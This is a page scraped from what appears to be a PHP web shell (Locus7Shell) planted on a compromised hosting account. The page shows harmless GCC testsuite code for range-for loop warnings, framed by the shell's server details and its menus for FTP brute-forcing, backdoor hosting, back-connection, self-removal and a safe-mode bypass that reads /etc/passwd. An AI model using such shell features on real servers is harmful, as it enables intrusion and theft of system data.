Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wrange-loop-construct2.C (6.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/94695
// { dg-do compile { target c++11 } }
// { dg-options "-Wrange-loop-construct" }

struct Foo { };
struct Bar {
  char arr[100];
  Bar(Foo);
  Bar(int);
  operator int();
};

template<typename T>
struct It {
  T operator*();
  It operator++();
  bool operator!=(const It);
};

template<typename T>
struct Cont {
  using I = It<T>;
  I begin();
  I end();
};

void
fn1 ()
{
  int arr[10];
  Cont<int> cont_int;

  for (const double &x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const double x : arr) { (void) x; }
  for (const int &x : arr) { (void) x; }
  for (double &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (double x : arr) { (void) x; }

  for (const int &&x : cont_int) { (void) x; }
  for (const int &x : cont_int) { (void) x; }
  for (const int x : cont_int) { (void) x; }
  for (int&& x : cont_int) { (void) x; }
  for (int x : cont_int) { (void) x; }

  for (const double &&x : cont_int) { (void) x; }
  for (const double &x : cont_int) { (void) x; }
  for (const double x : cont_int) { (void) x; }

  for (double &&x : cont_int) { (void) x; }
  for (double x : cont_int) { (void) x; }

  for (const Bar &&x : cont_int) { (void) x; }
  for (const Bar x : cont_int) { (void) x; }
}

void
fn2 ()
{
  Cont<int &> cont_int_ref;

  for (const int &x : cont_int_ref) { (void) x; }
  for (const int x : cont_int_ref) { (void) x; }
  for (int &x : cont_int_ref) { (void) x; }
  for (int x : cont_int_ref) { (void) x; }

  for (const double &&x : cont_int_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const double &x : cont_int_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const double x : cont_int_ref) { (void) x; }
  for (double &&x : cont_int_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (double x : cont_int_ref) { (void) x; }

  for (const Bar &&x : cont_int_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const Bar &x : cont_int_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const Bar x : cont_int_ref) { (void) x; }
  for (Bar &&x : cont_int_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (Bar x : cont_int_ref) { (void) x; }
}

void
fn3 ()
{
  Cont<Bar> cont_bar;

  for (const Bar &&x : cont_bar) { (void) x; }
  for (const Bar &x : cont_bar) { (void) x; }
  for (const Bar x : cont_bar) { (void) x; }
  for (Bar &&x : cont_bar) { (void) x; }
  for (Bar x : cont_bar) { (void) x; }

  for (const int &&x : cont_bar) { (void) x; }
  for (const int &x : cont_bar) { (void) x; }
  for (const int x : cont_bar) { (void) x; }
  for (int &&x : cont_bar) { (void) x; }
  for (int x : cont_bar) { (void) x; }
}

void
fn4 ()
{
  Cont<Bar &> cont_bar_ref;

  for (const Bar &x : cont_bar_ref) { (void) x; }
  for (Bar &x : cont_bar_ref) { (void) x; }
  for (Bar x : cont_bar_ref) { (void) x; }

  for (const int &&x : cont_bar_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const int &x : cont_bar_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const int x : cont_bar_ref) { (void) x; }
  for (int &&x : cont_bar_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (int x : cont_bar_ref) { (void) x; }
}

void
fn5 ()
{
  Cont<Foo> cont_foo;

  for (const Bar &&x : cont_foo) { (void) x; }
  for (const Bar &x : cont_foo) { (void) x; }
  for (const Bar x : cont_foo) { (void) x; }
  for (Bar &&x : cont_foo) { (void) x; }
  for (Bar x : cont_foo) { (void) x; }
}

void
fn6 ()
{
  Cont<Foo &> cont_foo_ref;

  for (const Bar &&x : cont_foo_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const Bar &x : cont_foo_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const Bar x : cont_foo_ref) { (void) x; }
  for (Bar &&x : cont_foo_ref) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (Bar x : cont_foo_ref) { (void) x; }
}

void
fn7 ()
{
  double arr[2];

  for (const double &x : arr) { (void) x; }
  for (const double x : arr) { (void) x; }
  for (double &x : arr) { (void) x; }
  for (double x : arr) { (void) x; }

  for (const int &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const int &x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const int x : arr) { (void) x; }
  for (int &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (int x : arr) { (void) x; }

  for (const Bar &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const Bar &x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const Bar x : arr) { (void) x; }
  for (Bar &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (Bar x : arr) { (void) x; }
}

void
fn8 ()
{
  Foo arr[2];

  for (const Foo &x : arr) { (void) x; }
  for (const Foo x : arr) { (void) x; }
  for (Foo &x : arr) { (void) x; }
  for (Foo x : arr) { (void) x; }

  for (const Bar &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const Bar &x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const Bar x : arr) { (void) x; }
  for (Bar &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (Bar x : arr) { (void) x; }
}

void
fn9 ()
{
  Bar arr[2] = { 1, 2 };

  for (const Bar &x : arr) { (void) x; }
  for (Bar &x : arr) { (void) x; }
  for (Bar x : arr) { (void) x; }

  for (const int &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const int &x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (const int x : arr) { (void) x; }
  for (int &&x : arr) { (void) x; } // { dg-warning "binds to a temporary constructed from type" }
  for (int x : arr) { (void) x; }
}

template<typename T>
void
fn10 ()
{
  Cont<Bar> cont_bar;

  for (const Bar &x : cont_bar) { (void) x; }

  Cont<T> cont_dep;
  for (const T &x : cont_dep) { (void) x; }
}
template void fn10<Bar>();

struct S {
  void fn()
  {
    Cont<Bar> cont_bar;
    for (const Bar &x : cont_bar) { (void) x; }
  }
};

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0058 ]--